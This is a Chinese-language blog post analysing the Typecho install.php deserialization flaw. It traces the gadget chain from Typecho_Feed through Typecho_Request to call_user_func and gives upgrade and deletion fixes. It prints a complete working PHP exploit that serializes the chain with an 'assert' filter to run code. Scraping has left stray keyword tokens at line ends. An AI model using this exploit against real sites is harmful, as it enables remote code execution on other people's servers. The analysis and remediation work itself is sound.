Typecho 反序列化漏洞致使前臺 getshell

前言php


最先知道這個漏洞是在一個微信羣裏,說是install.php文件裏面有個後門,看到別人給的截圖一看就知道是個PHP反序列化漏洞,趕忙上服務器看了看本身的博客,發現本身也中招了,相關代碼以下:html

95a1b6ac399ee535f86ead69d3e9de90.png-wh_



而後果斷在文件第一行加上了die:數組

<?php die('404 Not Found!'); ?>

今天下午恰好空閒下來,就趕忙拿出來代碼看看。服務器


漏洞分析

先從install.php開始跟,229-235行:微信

<?php$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);?>


要讓代碼執行到這裏須要知足一些條件:app

//判斷是否已經安裝if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {    exit;
}// 擋掉可能的跨站請求if (!empty($_GET) || !empty($_POST)) {    if (empty($_SERVER['HTTP_REFERER'])) {        exit;
    }

    $parts = parse_url($_SERVER['HTTP_REFERER']);    if (!empty($parts['port']) && $parts['port'] != 80 && !Typecho_Common::isAppEngine()) {
        $parts['host'] = "{$parts['host']}:{$parts['port']}";
    }    if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {        exit;
    }
}


首先是$_GET['finish']不爲空,其次是referer須要是本站,比較容易實現。ide


繼續跟反序列化的地方:函數

$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));


首先使用Typecho_Cookieget方法獲取__typecho_configget方法以下:typecho

public static function get($key, $default = NULL){
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);    return is_array($value) ? $default : $value;
}


能夠看到給$value賦值這一行,若是$_COOKIE裏面沒有就從$_POST裏面獲取,因此咱們測試漏洞的時候直接POST也是能夠的,不用每次設置Cookie了。測試


反序列化漏洞要利用勢必離不開魔術方法,我以前收集了一些和PHP反序列化有關的PHP函數:

__wakeup() //使用unserialize時觸發__sleep() //使用serialize時觸發__destruct() //對象被銷燬時觸發__call() //在對象上下文中調用不可訪問的方法時觸發__callStatic() //在靜態上下文中調用不可訪問的方法時觸發__get() //用於從不可訪問的屬性讀取數據__set() //用於將數據寫入不可訪問的屬性__isset() //在不可訪問的屬性上調用isset()或empty()觸發__unset() //在不可訪問的屬性上使用unset()時觸發__toString() //把類看成字符串使用時觸發__invoke() //當腳本嘗試將對象調用爲函數時觸發


下面這一行中,若是咱們反序列化構造一個數組,其中adapter設置爲一個類,那麼就能夠觸發這個類的__toString()方法。


而後咱們全局搜索__toString()方法,發現兩個有搞頭的文件:

/var/Typecho/Feed.php
/var/Typecho/Db/Query.php


我這裏跟一下Feed.php,查看Feed.php__toString()方法,其中第290行:

foreach ($this->_items as $item) {
    $content .= '<item>' . self::EOL;
    $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
    $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
    $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
    $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;    //省略........}


其中調用了$item['author']->screenName$item$this->_items的foreach循環出來的,而且$this->_itemsTypecho_Feed類的一個private屬性。

咱們能夠利用這個$item來調用某個類的__get()方法,上面說過__get()方法是用於從不可訪問的屬性讀取數據,實際執行中這裏會獲取該類的screenName屬性,若是咱們給$item['author']設置的類中沒有screenName就會執行該類的__get()方法,咱們繼續來全局搜索一下__get()方法。


發現/var/Typecho/Request.php中的__get()方法以下:

public function __get($key){    return $this->get($key);
}


跟進$this->get()方法以下:

public function get($key, $default = NULL){    switch (true) {        case isset($this->_params[$key]):
            $value = $this->_params[$key];            break;        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];            break;        default:
            $value = $default;            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;    return $this->_applyFilter($value);
}


這裏沒什麼問題,但最後一行:

return $this->_applyFilter($value);


跟進一下發現:

private function _applyFilter($value){    if ($this->_filter) {        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }    return $value;
}


這個foreach裏面判斷若是$value是數組就執行array_map不然調用call_user_func,這倆函數都是執行代碼的關鍵方法。而這裏$filter$value咱們幾乎都是能夠間接控制的,因此就能夠利用call_user_func或者array_map來執行代碼,好比咱們設置$filter爲數組,第一個數組鍵值是assert$value設置php代碼,便可執行。


而後咱們來完成Exploit以下:

<?phpclass Typecho_Feed{    const RSS1 = 'RSS 1.0';    const RSS2 = 'RSS 2.0';    const ATOM1 = 'ATOM 1.0';    const DATE_RFC822 = 'r';    const DATE_W3CDTF = 'c';    const EOL = "\n";    private $_type;    private $_items;    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(            'title' => '1',            'link' => '1',            'date' => 1508895132,            'category' => array(new Typecho_Request()),            'author' => new Typecho_Request(),
        );
    }
}class Typecho_Request{    private $_params = array();    private $_filter = array();    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(    'adapter' => new Typecho_Feed(),    'prefix' => 'typecho_');echo base64_encode(serialize($exp));


而後運行該php,使用輸出的payload訪問:

f0a4e9115ab3a4cafe728378bcd1639d.png-wh_



至此該漏洞復現成功。

修復方法

  • 官方今天發佈了1.1Beta版本修復了該漏洞,升級該版本,連接:http://typecho.org/archives/133/


  • 也能夠刪除掉install.php和install目錄。

相關文章
相關標籤/搜索